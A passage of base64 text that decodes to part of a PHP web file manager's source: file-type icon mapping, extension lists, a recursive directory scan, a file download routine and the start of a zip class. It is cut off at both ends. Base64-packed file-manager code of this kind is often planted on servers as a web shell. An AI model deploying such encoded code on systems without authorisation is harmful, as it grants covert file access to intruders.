AgICAgICAgICAgIGJyZWFrO1xuICAgICAgICBjYXNlICdwaHAnOlxuICAgICAgICBjYXNlICdwaHA0JzpcbiAgICAgICAgY2FzZSAncGhwNSc6XG4gICAgICAgIGNhc2UgJ3BocHMnOlxuICAgICAgICBjYXNlICdwaHRtbCc6XG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWNvZGUnO1xuICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgIGNhc2UgJ2h0bSc6XG4gICAgICAgIGNhc2UgJ2h0bWwnOlxuICAgICAgICBjYXNlICdzaHRtbCc6XG4gICAgICAgIGNhc2UgJ3hodG1sJzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtaHRtbDUnO1xuICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgIGNhc2UgJ3htbCc6XG4gICAgICAgIGNhc2UgJ3hzbCc6XG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWZpbGUtZXhjZWwtbyc7XG4gICAgICAgICAgICBicmVhaztcbiAgICAgICAgY2FzZSAnd2F2JzpcbiAgICAgICAgY2FzZSAnbXAzJzpcbiAgICAgICAgY2FzZSAnbXAyJzpcbiAgICAgICAgY2FzZSAnbTRhJzpcbiAgICAgICAgY2FzZSAnYWFjJzpcbiAgICAgICAgY2FzZSAnb2dnJzpcbiAgICAgICAgY2FzZSAnb2dhJzpcbiAgICAgICAgY2FzZSAnd21hJzpcbiAgICAgICAgY2FzZSAnbWthJzpcbiAgICAgICAgY2FzZSAnZmxhYyc6XG4gICAgICAgIGNhc2UgJ2FjMyc6XG4gICAgICAgIGNhc2UgJ3Rkcyc6XG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLW11c2ljJztcbiAgICAgICAgICAgIGJyZWFrO1xuICAgICAgICBjYXNlICdtM3UnOlxuICAgICAgICBjYXNlICdtM3U4JzpcbiAgICAgICAgY2FzZSAncGxzJzpcbiAgICAgICAgY2FzZSAnY3VlJzpcbiAgICAgICAgY2FzZSAneHNwZic6XG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWhlYWRwaG9uZXMnO1xuICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgIGNhc2UgJ2F2aSc6XG4gICAgICAgIGNhc2UgJ21wZyc6XG4gICAgICAgIGNhc2UgJ21wZWcnOlxuICAgICAgICBjYXNlICdtcDQnOlxuICAgICAgICBjYXNlICdtNHYnOlxuICAgICAgICBjYXNlICdmbHYnOlxuICAgICAgICBjYXNlICdmNHYnOlxuICAgICAgICBjYXNlICdvZ20nOlxuICAgICAgICBjYXNlICdvZ3YnOlxuICAgICAgICBjYXNlICdtb3YnOlxuICAgICAgICBjYXNlICdta3YnOlxuICAgICAgICBjYXNlICczZ3AnOlxuICAgICAgICBjYXNlICdhc2YnOlxuICAgICAgICBjYXNlICd3bXYnOlxuICAgICAgICBjYXNlICd3ZWJtJzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS12aWRlby1vJztcbiAgICAgICAgICAgIGJyZWFrO1xuICAgICAgICBjYXNlICdlbWwnOlxuICAgICAgICBjYXNlICdtc2cnOlxuICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1lbnZlbG9wZS1vJztcbiAgICAgICAgICAgIGJyZWFrO1xuICAgICAgICBjYXNlICd4bHMnOlxuICAgICAgICBjYXNlICd4bHN4JzpcbiAgICAgICAgY2FzZSAnb2RzJzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS1leGNlbC1vJztcbiAgICAgICAgICAgIGJyZWFrO1xuICAgICAgICBjYXNlICdjc3YnOlxuICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1maWxlLXRleHQtbyc7XG4gICAgICAgICAgICBicmVhaztcbiAgICAgICAgY2FzZSAnYmFrJzpcbiAgICAgICAgY2FzZSAnc3dwJzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtY2xpcGJvYXJkJztcbiAgICAgICAgICAgIGJyZWFrO1xuICAgICAgICBjYXNlICdkb2MnOlxuICAgICAgICBjYXNlICdkb2N4JzpcbiAgICAgICAgY2FzZSAnb2R0JzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS13b3JkLW8nO1xuICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgIGNhc2UgJ3BwdCc6XG4gICAgICAgIGNhc2UgJ3BwdHgnOlxuICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1maWxlLXBvd2VycG9pbnQtbyc7XG4gICAgICAgICAgICBicmVhaztcbiAgICAgICAgY2FzZSAndHRmJzpcbiAgICAgICAgY2FzZSAndHRjJzpcbiAgICAgICAgY2FzZSAnb3RmJzpcbiAgICAgICAgY2FzZSAnd29mZic6XG4gICAgICAgIGNhc2UgJ3dvZmYyJzpcbiAgICAgICAgY2FzZSAnZW90JzpcbiAgICAgICAgY2FzZSAnZm9uJzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZm9udCc7XG4gICAgICAgICAgICBicmVhaztcbiAgICAgICAgY2FzZSAncGRmJzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS1wZGYtbyc7XG4gICAgICAgICAgICBicmVhaztcbiAgICAgICAgY2FzZSAncHNkJzpcbiAgICAgICAgY2FzZSAnYWknOlxuICAgICAgICBjYXNlICdlcHMnOlxuICAgICAgICBjYXNlICdmbGEnOlxuICAgICAgICBjYXNlICdzd2YnOlxuICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1maWxlLWltYWdlLW8nO1xuICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgIGNhc2UgJ2V4ZSc6XG4gICAgICAgIGNhc2UgJ21zaSc6XG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWZpbGUtbyc7XG4gICAgICAgICAgICBicmVhaztcbiAgICAgICAgY2FzZSAnYmF0JzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtdGVybWluYWwnO1xuICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgIGRlZmF1bHQ6XG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWluZm8tY2lyY2xlJztcbiAgICB9XG5cbiAgICByZXR1cm4gJGltZztcbn1cblxuXC8qKlxuICogR2V0IGltYWdlIGZpbGVzIGV4dGVuc2lvbnNcbiAqIEByZXR1cm4gYXJyYXlcbiAqXC9cbmZ1bmN0aW9uIGZtX2dldF9pbWFnZV9leHRzKClcbntcbiAgICByZXR1cm4gYXJyYXkoJ2ljbycsICdnaWYnLCAnanBnJywgJ2pwZWcnLCAnanBjJywgJ2pwMicsICdqcHgnLCAneGJtJywgJ3dibXAnLCAncG5nJywgJ2JtcCcsICd0aWYnLCAndGlmZicsICdwc2QnLCAnc3ZnJywgJ3dlYnAnLCAnYXZpZicpO1xufVxuXG5cLyoqXG4gKiBHZXQgdmlkZW8gZmlsZXMgZXh0ZW5zaW9uc1xuICogQHJldHVybiBhcnJheVxuICpcL1xuZnVuY3Rpb24gZm1fZ2V0X3ZpZGVvX2V4dHMoKVxue1xuICAgIHJldHVybiBhcnJheSgnYXZpJywgJ3dlYm0nLCAnd212JywgJ21wNCcsICdtNHYnLCAnb2dtJywgJ29ndicsICdtb3YnLCAnbWt2Jyk7XG59XG5cblwvKipcbiAqIEdldCBhdWRpbyBmaWxlcyBleHRlbnNpb25zXG4gKiBAcmV0dXJuIGFycmF5XG4gKlwvXG5mdW5jdGlvbiBmbV9nZXRfYXVkaW9fZXh0cygpXG57XG4gICAgcmV0dXJuIGFycmF5KCd3YXYnLCAnbXAzJywgJ29nZycsICdtNGEnKTtcbn1cblxuXC8qKlxuICogR2V0IHRleHQgZmlsZSBleHRlbnNpb25zXG4gKiBAcmV0dXJuIGFycmF5XG4gKlwvXG5mdW5jdGlvbiBmbV9nZXRfdGV4dF9leHRzKClcbntcbiAgICByZXR1cm4gYXJyYXkoXG4gICAgICAgICd0eHQnLFxuICAgICAgICAnY3NzJyxcbiAgICAgICAgJ2luaScsXG4gICAgICAgICdjb25mJyxcbiAgICAgICAgJ2xvZycsXG4gICAgICAgICdodGFjY2VzcycsXG4gICAgICAgICdwYXNzd2QnLFxuICAgICAgICAnZnRwcXVvdGEnLFxuICAgICAgICAnc3FsJyxcbiAgICAgICAgJ2pzJyxcbiAgICAgICAgJ3RzJyxcbiAgICAgICAgJ2pzeCcsXG4gICAgICAgICd0c3gnLFxuICAgICAgICAnbWpzJyxcbiAgICAgICAgJ2pzb24nLFxuICAgICAgICAnc2gnLFxuICAgICAgICAnY29uZmlnJyxcbiAgICAgICAgJ3BocCcsXG4gICAgICAgICdwaHA0JyxcbiAgICAgICAgJ3BocDUnLFxuICAgICAgICAncGhwcycsXG4gICAgICAgICdwaHRtbCcsXG4gICAgICAgICdodG0nLFxuICAgICAgICAnaHRtbCcsXG4gICAgICAgICdzaHRtbCcsXG4gICAgICAgICd4aHRtbCcsXG4gICAgICAgICd4bWwnLFxuICAgICAgICAneHNsJyxcbiAgICAgICAgJ20zdScsXG4gICAgICAgICdtM3U4JyxcbiAgICAgICAgJ3BscycsXG4gICAgICAgICdjdWUnLFxuICAgICAgICAnYmFzaCcsXG4gICAgICAgICd2dWUnLFxuICAgICAgICAnZW1sJyxcbiAgICAgICAgJ21zZycsXG4gICAgICAgICdjc3YnLFxuICAgICAgICAnYmF0JyxcbiAgICAgICAgJ3R3aWcnLFxuICAgICAgICAndHBsJyxcbiAgICAgICAgJ21kJyxcbiAgICAgICAgJ2dpdGlnbm9yZScsXG4gICAgICAgICdsZXNzJyxcbiAgICAgICAgJ3Nhc3MnLFxuICAgICAgICAnc2NzcycsXG4gICAgICAgICdjJyxcbiAgICAgICAgJ2NwcCcsXG4gICAgICAgICdjcycsXG4gICAgICAgICdweScsXG4gICAgICAgICdnbycsXG4gICAgICAgICd6c2gnLFxuICAgICAgICAnc3dpZnQnLFxuICAgICAgICAnbWFwJyxcbiAgICAgICAgJ2xvY2snLFxuICAgICAgICAnZHRkJyxcbiAgICAgICAgJ3N2ZycsXG4gICAgICAgICdhc3AnLFxuICAgICAgICAnYXNweCcsXG4gICAgICAgICdhc3gnLFxuICAgICAgICAnYXNteCcsXG4gICAgICAgICdhc2h4JyxcbiAgICAgICAgJ2pzcCcsXG4gICAgICAgICdqc3B4JyxcbiAgICAgICAgJ2NnaScsXG4gICAgICAgICdkb2NrZXJmaWxlJyxcbiAgICAgICAgJ3J1YnknLFxuICAgICAgICAneW1sJyxcbiAgICAgICAgJ3lhbWwnLFxuICAgICAgICAndG9tbCcsXG4gICAgICAgICd2aG9zdCcsXG4gICAgICAgICdzY3B0JyxcbiAgICAgICAgJ2FwcGxlc2NyaXB0JyxcbiAgICAgICAgJ2NzeCcsXG4gICAgICAgICdjc2h0bWwnLFxuICAgICAgICAnYysrJyxcbiAgICAgICAgJ2NvZmZlZScsXG4gICAgICAgICdjZm0nLFxuICAgICAgICAncmInLFxuICAgICAgICAnZ3JhcGhxbCcsXG4gICAgICAgICdtdXN0YWNoZScsXG4gICAgICAgICdqaW5qYScsXG4gICAgICAgICdodHRwJyxcbiAgICAgICAgJ2hhbmRsZWJhcnMnLFxuICAgICAgICAnamF2YScsXG4gICAgICAgICdlcycsXG4gICAgICAgICdlczYnLFxuICAgICAgICAnbWFya2Rvd24nLFxuICAgICAgICAnd2lraScsXG4gICAgICAgICd0bXAnLFxuICAgICAgICAndG9wJyxcbiAgICAgICAgJ2JvdCcsXG4gICAgICAgICdkYXQnLFxuICAgICAgICAnYmFrJyxcbiAgICAgICAgJ2h0cGFzc3dkJyxcbiAgICAgICAgJ3BsJyxcbiAgICAgICAgJ3BzMSdcbiAgICApO1xufVxuXG5cLyoqXG4gKiBHZXQgbWltZSB0eXBlcyBvZiB0ZXh0IGZpbGVzXG4gKiBAcmV0dXJuIGFycmF5XG4gKlwvXG5mdW5jdGlvbiBmbV9nZXRfdGV4dF9taW1lcygpXG57XG4gICAgcmV0dXJuIGFycmF5KFxuICAgICAgICAnYXBwbGljYXRpb25cL3htbCcsXG4gICAgICAgICdhcHBsaWNhdGlvblwvamF2YXNjcmlwdCcsXG4gICAgICAgICdhcHBsaWNhdGlvblwveC1qYXZhc2NyaXB0JyxcbiAgICAgICAgJ2ltYWdlXC9zdmcreG1sJyxcbiAgICAgICAgJ21lc3NhZ2VcL3JmYzgyMicsXG4gICAgICAgICdhcHBsaWNhdGlvblwvanNvbicsXG4gICAgKTtcbn1cblxuXC8qKlxuICogR2V0IGZpbGUgbmFtZXMgb2YgdGV4dCBmaWxlcyB3XC9vIGV4dGVuc2lvbnNcbiAqIEByZXR1cm4gYXJyYXlcbiAqXC9cbmZ1bmN0aW9uIGZtX2dldF90ZXh0X25hbWVzKClcbntcbiAgICByZXR1cm4gYXJyYXkoXG4gICAgICAgICdsaWNlbnNlJyxcbiAgICAgICAgJ3JlYWRtZScsXG4gICAgICAgICdhdXRob3JzJyxcbiAgICAgICAgJ2NvbnRyaWJ1dG9ycycsXG4gICAgICAgICdjaGFuZ2Vsb2cnLFxuICAgICk7XG59XG5cblwvKipcbiAqIEdldCBvbmxpbmUgZG9jcyB2aWV3ZXIgc3VwcG9ydGVkIGZpbGVzIGV4dGVuc2lvbnNcbiAqIEByZXR1cm4gYXJyYXlcbiAqXC9cbmZ1bmN0aW9uIGZtX2dldF9vbmxpbmVWaWV3ZXJfZXh0cygpXG57XG4gICAgcmV0dXJuIGFycmF5KCdkb2MnLCAnZG9jeCcsICd4bHMnLCAneGxzeCcsICdwZGYnLCAncHB0JywgJ3BwdHgnLCAnYWknLCAncHNkJywgJ2R4ZicsICd4cHMnLCAncmFyJywgJ29kdCcsICdvZHMnKTtcbn1cblxuXC8qKlxuICogSXQgcmV0dXJucyB0aGUgbWltZSB0eXBlIG9mIGEgZmlsZSBiYXNlZCBvbiBpdHMgZXh0ZW5zaW9uLlxuICogQHBhcmFtIGV4dGVuc2lvbiBUaGUgZmlsZSBleHRlbnNpb24gb2YgdGhlIGZpbGUgeW91IHdhbnQgdG8gZ2V0IHRoZSBtaW1lIHR5cGUgZm9yLlxuICogQHJldHVybiBzdHJpbmd8c3RyaW5nW10gVGhlIG1pbWUgdHlwZSBvZiB0aGUgZmlsZS5cbiAqXC9cbmZ1bmN0aW9uIGZtX2dldF9maWxlX21pbWVzKCRleHRlbnNpb24pXG57XG4gICAgJGZpbGVUeXBlc1snc3dmJ10gPSAnYXBwbGljYXRpb25cL3gtc2hvY2t3YXZlLWZsYXNoJztcbiAgICAkZmlsZVR5cGVzWydwZGYnXSA9ICdhcHBsaWNhdGlvblwvcGRmJztcbiAgICAkZmlsZVR5cGVzWydleGUnXSA9ICdhcHBsaWNhdGlvblwvb2N0ZXQtc3RyZWFtJztcbiAgICAkZmlsZVR5cGVzWyd6aXAnXSA9ICdhcHBsaWNhdGlvblwvemlwJztcbiAgICAkZmlsZVR5cGVzWydkb2MnXSA9ICdhcHBsaWNhdGlvblwvbXN3b3JkJztcbiAgICAkZmlsZVR5cGVzWyd4bHMnXSA9ICdhcHBsaWNhdGlvblwvdm5kLm1zLWV4Y2VsJztcbiAgICAkZmlsZVR5cGVzWydwcHQnXSA9ICdhcHBsaWNhdGlvblwvdm5kLm1zLXBvd2VycG9pbnQnO1xuICAgICRmaWxlVHlwZXNbJ2dpZiddID0gJ2ltYWdlXC9naWYnO1xuICAgICRmaWxlVHlwZXNbJ3BuZyddID0gJ2ltYWdlXC9wbmcnO1xuICAgICRmaWxlVHlwZXNbJ2pwZWcnXSA9ICdpbWFnZVwvanBnJztcbiAgICAkZmlsZVR5cGVzWydqcGcnXSA9ICdpbWFnZVwvanBnJztcbiAgICAkZmlsZVR5cGVzWyd3ZWJwJ10gPSAnaW1hZ2VcL3dlYnAnO1xuICAgICRmaWxlVHlwZXNbJ2F2aWYnXSA9ICdpbWFnZVwvYXZpZic7XG4gICAgJGZpbGVUeXBlc1sncmFyJ10gPSAnYXBwbGljYXRpb25cL3Jhcic7XG5cbiAgICAkZmlsZVR5cGVzWydyYSddID0gJ2F1ZGlvXC94LXBuLXJlYWxhdWRpbyc7XG4gICAgJGZpbGVUeXBlc1sncmFtJ10gPSAnYXVkaW9cL3gtcG4tcmVhbGF1ZGlvJztcbiAgICAkZmlsZVR5cGVzWydvZ2cnXSA9ICdhdWRpb1wveC1wbi1yZWFsYXVkaW8nO1xuXG4gICAgJGZpbGVUeXBlc1snd2F2J10gPSAndmlkZW9cL3gtbXN2aWRlbyc7XG4gICAgJGZpbGVUeXBlc1snd212J10gPSAndmlkZW9cL3gtbXN2aWRlbyc7XG4gICAgJGZpbGVUeXBlc1snYXZpJ10gPSAndmlkZW9cL3gtbXN2aWRlbyc7XG4gICAgJGZpbGVUeXBlc1snYXNmJ10gPSAndmlkZW9cL3gtbXN2aWRlbyc7XG4gICAgJGZpbGVUeXBlc1snZGl2eCddID0gJ3ZpZGVvXC94LW1zdmlkZW8nO1xuXG4gICAgJGZpbGVUeXBlc1snbXAzJ10gPSAnYXVkaW9cL21wZWcnO1xuICAgICRmaWxlVHlwZXNbJ21wNCddID0gJ3ZpZGVvXC9tcDQnO1xuICAgICRmaWxlVHlwZXNbJ21wZWcnXSA9ICd2aWRlb1wvbXBlZyc7XG4gICAgJGZpbGVUeXBlc1snbXBnJ10gPSAndmlkZW9cL21wZWcnO1xuICAgICRmaWxlVHlwZXNbJ21wZSddID0gJ3ZpZGVvXC9tcGVnJztcbiAgICAkZmlsZVR5cGVzWydtb3YnXSA9ICd2aWRlb1wvcXVpY2t0aW1lJztcbiAgICAkZmlsZVR5cGVzWydzd2YnXSA9ICd2aWRlb1wvcXVpY2t0aW1lJztcbiAgICAkZmlsZVR5cGVzWyczZ3AnXSA9ICd2aWRlb1wvcXVpY2t0aW1lJztcbiAgICAkZmlsZVR5cGVzWydtNGEnXSA9ICd2aWRlb1wvcXVpY2t0aW1lJztcbiAgICAkZmlsZVR5cGVzWydhYWMnXSA9ICd2aWRlb1wvcXVpY2t0aW1lJztcbiAgICAkZmlsZVR5cGVzWydtM3UnXSA9ICd2aWRlb1wvcXVpY2t0aW1lJztcblxuICAgICRmaWxlVHlwZXNbJ3BocCddID0gWydhcHBsaWNhdGlvblwveC1waHAnXTtcbiAgICAkZmlsZVR5cGVzWydodG1sJ10gPSBbJ3RleHRcL2h0bWwnXTtcbiAgICAkZmlsZVR5cGVzWyd0eHQnXSA9IFsndGV4dFwvcGxhaW4nXTtcbiAgICBpZiAoZW1wdHkoJGZpbGVUeXBlc1skZXh0ZW5zaW9uXSkpIHtcbiAgICAgICAgJGZpbGVUeXBlc1skZXh0ZW5zaW9uXSA9IFsnYXBwbGljYXRpb25cL29jdGV0LXN0cmVhbSddO1xuICAgIH1cbiAgICByZXR1cm4gJGZpbGVUeXBlc1skZXh0ZW5zaW9uXTtcbn1cblxuXC8qKlxuICogVGhpcyBmdW5jdGlvbiBzY2FucyB0aGUgZmlsZXMgYW5kIGZvbGRlciByZWN1cnNpdmVseSwgYW5kIHJldHVybiBtYXRjaGluZyBmaWxlc1xuICogQHBhcmFtIHN0cmluZyAkZGlyXG4gKiBAcGFyYW0gc3RyaW5nICRmaWx0ZXJcbiAqIEByZXR1cm4gYXJyYXl8bnVsbFxuICpcL1xuZnVuY3Rpb24gc2NhbigkZGlyID0gJycsICRmaWx0ZXIgPSAnJylcbntcbiAgICAkcGF0aCA9IEZNX1JPT1RfUEFUSCAuICdcLycgLiAkZGlyO1xuICAgIGlmICgkcGF0aCkge1xuICAgICAgICAkaXRlID0gbmV3IFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3IobmV3IFJlY3Vyc2l2ZURpcmVjdG9yeUl0ZXJhdG9yKCRwYXRoKSk7XG4gICAgICAgICRyaWkgPSBuZXcgUmVnZXhJdGVyYXRvcigkaXRlLCBcIlwvKFwiIC4gJGZpbHRlciAuIFwiKVwvaVwiKTtcblxuICAgICAgICAkZmlsZXMgPSBhcnJheSgpO1xuICAgICAgICBmb3JlYWNoICgkcmlpIGFzICRmaWxlKSB7XG4gICAgICAgICAgICBpZiAoISRmaWxlLT5pc0RpcigpKSB7XG4gICAgICAgICAgICAgICAgJGZpbGVOYW1lID0gJGZpbGUtPmdldEZpbGVuYW1lKCk7XG4gICAgICAgICAgICAgICAgJGxvY2F0aW9uID0gc3RyX3JlcGxhY2UoRk1fUk9PVF9QQVRILCAnJywgJGZpbGUtPmdldFBhdGgoKSk7XG4gICAgICAgICAgICAgICAgJGZpbGVzW10gPSBhcnJheShcbiAgICAgICAgICAgICAgICAgICAgXCJuYW1lXCIgPT4gJGZpbGVOYW1lLFxuICAgICAgICAgICAgICAgICAgICBcInR5cGVcIiA9PiBcImZpbGVcIixcbiAgICAgICAgICAgICAgICAgICAgXCJwYXRoXCIgPT4gJGxvY2F0aW9uLFxuICAgICAgICAgICAgICAgICk7XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICAgICAgcmV0dXJuICRmaWxlcztcbiAgICB9XG59XG5cblwvKipcbiAqIFBhcmFtZXRlcnM6IGRvd25sb2FkRmlsZShGaWxlIExvY2F0aW9uLCBGaWxlIE5hbWUsXG4gKiBtYXggc3BlZWQsIGlzIHN0cmVhbWluZ1xuICogSWYgc3RyZWFtaW5nIC0gdmlkZW9zIHdpbGwgc2hvdyBhcyB2aWRlb3MsIGltYWdlcyBhcyBpbWFnZXNcbiAqIGluc3RlYWQgb2YgZG93bmxvYWQgcHJvbXB0XG4gKiBodHRwczpcL1wvc3RhY2tvdmVyZmxvdy5jb21cL2FcLzEzODIxOTkyXC8xMTY0NjQyXG4gKlwvXG5mdW5jdGlvbiBmbV9kb3dubG9hZF9maWxlKCRmaWxlTG9jYXRpb24sICRmaWxlTmFtZSwgJGNodW5rU2l6ZSAgPSAxMDI0KVxue1xuICAgIGlmIChjb25uZWN0aW9uX3N0YXR1cygpICE9IDApXG4gICAgICAgIHJldHVybiAoZmFsc2UpO1xuICAgICRleHRlbnNpb24gPSBwYXRoaW5mbygkZmlsZU5hbWUsIFBBVEhJTkZPX0VYVEVOU0lPTik7XG5cbiAgICAkY29udGVudFR5cGUgPSBmbV9nZXRfZmlsZV9taW1lcygkZXh0ZW5zaW9uKTtcblxuICAgIGlmIChpc19hcnJheSgkY29udGVudFR5cGUpKSB7XG4gICAgICAgICRjb250ZW50VHlwZSA9IGltcGxvZGUoJyAnLCAkY29udGVudFR5cGUpO1xuICAgIH1cblxuICAgICRzaXplID0gZmlsZXNpemUoJGZpbGVMb2NhdGlvbik7XG5cbiAgICBpZiAoJHNpemUgPT0gMCkge1xuICAgICAgICBmbV9zZXRfbXNnKGxuZygnWmVybyBieXRlIGZpbGUhIEFib3J0aW5nIGRvd25sb2FkJyksICdlcnJvcicpO1xuICAgICAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTtcblxuICAgICAgICByZXR1cm4gKGZhbHNlKTtcbiAgICB9XG5cbiAgICBAaW5pX3NldCgnbWFnaWNfcXVvdGVzX3J1bnRpbWUnLCAwKTtcbiAgICAkZnAgPSBmb3BlbihcIiRmaWxlTG9jYXRpb25cIiwgXCJyYlwiKTtcblxuICAgIGlmICgkZnAgPT09IGZhbHNlKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdDYW5ub3Qgb3BlbiBmaWxlISBBYm9ydGluZyBkb3dubG9hZCcpLCAnZXJyb3InKTtcbiAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG4gICAgICAgIHJldHVybiAoZmFsc2UpO1xuICAgIH1cbiAgICBcbiAgICBoZWFkZXIoJ0NvbnRlbnQtRGVzY3JpcHRpb246IEZpbGUgVHJhbnNmZXInKTtcbiAgICBoZWFkZXIoJ0V4cGlyZXM6IDAnKTtcbiAgICBoZWFkZXIoJ0NhY2hlLUNvbnRyb2w6IG11c3QtcmV2YWxpZGF0ZSwgcG9zdC1jaGVjaz0wLCBwcmUtY2hlY2s9MCcpO1xuICAgIGhlYWRlcignUHJhZ21hOiBwdWJsaWMnKTtcbiAgICBoZWFkZXIoXCJDb250ZW50LVRyYW5zZmVyLUVuY29kaW5nOiBiaW5hcnlcIik7XG4gICAgaGVhZGVyKFwiQ29udGVudC1UeXBlOiAkY29udGVudFR5cGVcIik7XG5cbiAgICAkY29udGVudERpc3Bvc2l0aW9uID0gJ2F0dGFjaG1lbnQnO1xuXG4gICAgaWYgKHN0cnN0cigkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sIFwiTVNJRVwiKSkge1xuICAgICAgICAkZmlsZU5hbWUgPSBwcmVnX3JlcGxhY2UoJ1wvXFwuXC8nLCAnJTJlJywgJGZpbGVOYW1lLCBzdWJzdHJfY291bnQoJGZpbGVOYW1lLCAnLicpIC0gMSk7XG4gICAgICAgIGhlYWRlcihcIkNvbnRlbnQtRGlzcG9zaXRpb246ICRjb250ZW50RGlzcG9zaXRpb247ZmlsZW5hbWU9XFxcIiRmaWxlTmFtZVxcXCJcIik7XG4gICAgfSBlbHNlIHtcbiAgICAgICAgaGVhZGVyKFwiQ29udGVudC1EaXNwb3NpdGlvbjogJGNvbnRlbnREaXNwb3NpdGlvbjtmaWxlbmFtZT1cXFwiJGZpbGVOYW1lXFxcIlwiKTtcbiAgICB9XG5cbiAgICBoZWFkZXIoXCJBY2NlcHQtUmFuZ2VzOiBieXRlc1wiKTtcbiAgICAkcmFuZ2UgPSAwO1xuXG4gICAgaWYgKGlzc2V0KCRfU0VSVkVSWydIVFRQX1JBTkdFJ10pKSB7XG4gICAgICAgIGxpc3QoJGEsICRyYW5nZSkgPSBleHBsb2RlKFwiPVwiLCAkX1NFUlZFUlsnSFRUUF9SQU5HRSddKTtcbiAgICAgICAgc3RyX3JlcGxhY2UoJHJhbmdlLCBcIi1cIiwgJHJhbmdlKTtcbiAgICAgICAgJHNpemUyID0gJHNpemUgLSAxO1xuICAgICAgICAkbmV3X2xlbmd0aCA9ICRzaXplIC0gJHJhbmdlO1xuICAgICAgICBoZWFkZXIoXCJIVFRQXC8xLjEgMjA2IFBhcnRpYWwgQ29udGVudFwiKTtcbiAgICAgICAgaGVhZGVyKFwiQ29udGVudC1MZW5ndGg6ICRuZXdfbGVuZ3RoXCIpO1xuICAgICAgICBoZWFkZXIoXCJDb250ZW50LVJhbmdlOiBieXRlcyAkcmFuZ2Ukc2l6ZTJcLyRzaXplXCIpO1xuICAgIH0gZWxzZSB7XG4gICAgICAgICRzaXplMiA9ICRzaXplIC0gMTtcbiAgICAgICAgaGVhZGVyKFwiQ29udGVudC1SYW5nZTogYnl0ZXMgMC0kc2l6ZTJcLyRzaXplXCIpO1xuICAgICAgICBoZWFkZXIoXCJDb250ZW50LUxlbmd0aDogXCIgLiAkc2l6ZSk7XG4gICAgfVxuICAgICRmaWxlTG9jYXRpb24gPSByZWFscGF0aCgkZmlsZUxvY2F0aW9uKTtcbiAgICB3aGlsZSAob2JfZ2V0X2xldmVsKCkpIG9iX2VuZF9jbGVhbigpO1xuICAgIHJlYWRmaWxlKCRmaWxlTG9jYXRpb24pO1xuXG4gICAgZmNsb3NlKCRmcCk7XG5cbiAgICByZXR1cm4gKChjb25uZWN0aW9uX3N0YXR1cygpID09IDApIGFuZCAhY29ubmVjdGlvbl9hYm9ydGVkKCkpO1xufVxuXG5cLyoqXG4gKiBDbGFzcyB0byB3b3JrIHdpdGggemlwIGZpbGVzICh1c2luZyBaaXBBcmNoaXZlKVxuICpcL1xuY2xhc3MgRk1fWmlwcGVyXG57XG4gICAgcHJpdmF0ZSAkemlwO1xuXG4gICAgcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KClcbiAgICB7XG4gICAgICAgICR0aGlzLT56aXAgPSBuZXcgWmlwQXJjaGl2ZSgpO1xuICAgIH1cblxuICAgIFwvKipcbiAgICAgKiBDcmVhdGUgYXJjaGl2ZSB3aXRoIG5hbWUgJGZpbGVuYW1lIGFuZCBmaWxlcyAkZmlsZXMgKFJFTEFUSVZFIFBBVEhTISlcbiAgICAgKiBAcGFyYW0gc3RyaW5nICRmaWxlbmFtZVxuICAgICAqIEBwYXJhbSBhcnJheXxzdHJpbmcgJGZpbGVzXG4gICAgICogQHJldHVybiBib29sXG4gICAgICpcL1xuICAgIHB1YmxpYyBmdW5jdGlvbiBjcmVhdGUoJGZpbGVuYW1lLCAkZmlsZXMpXG4gICAge1xuICAgICAgICAkcmVzID0gJHRoaXMtPnppcC0+b3BlbigkZmlsZW5hbWUsIFppcEFyY2hpdmU6OkNSRUFURSk7XG4gICAgICAgIGlmICgkcmVzICE9PSB0cnVlKSB7XG4gICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgIH1cbiAgICAgICAgaWYgKGlzX2FycmF5KCRmaWxlcykpIHtcbiAgICAgICAgICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZikge1xuICAgICAgICAgICAgICAgICRmID0gZm1fY2xlYW5fcGF0aCgkZik7XG4gICAgICAgICAgICAgICAgaWYgKCEkdGhpcy0+YWRkRmlsZU9yRGlyKCRmKSkge1xuICAgICAgICAgICAgICAgICAgICAkdGhpcy0+emlwLT5jbG9zZSgpO1xuICAgICAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfVxuICAgICAgICAgICAgJHRoaXMtPnppcC0+Y2xvc2UoKTtcbiAgICA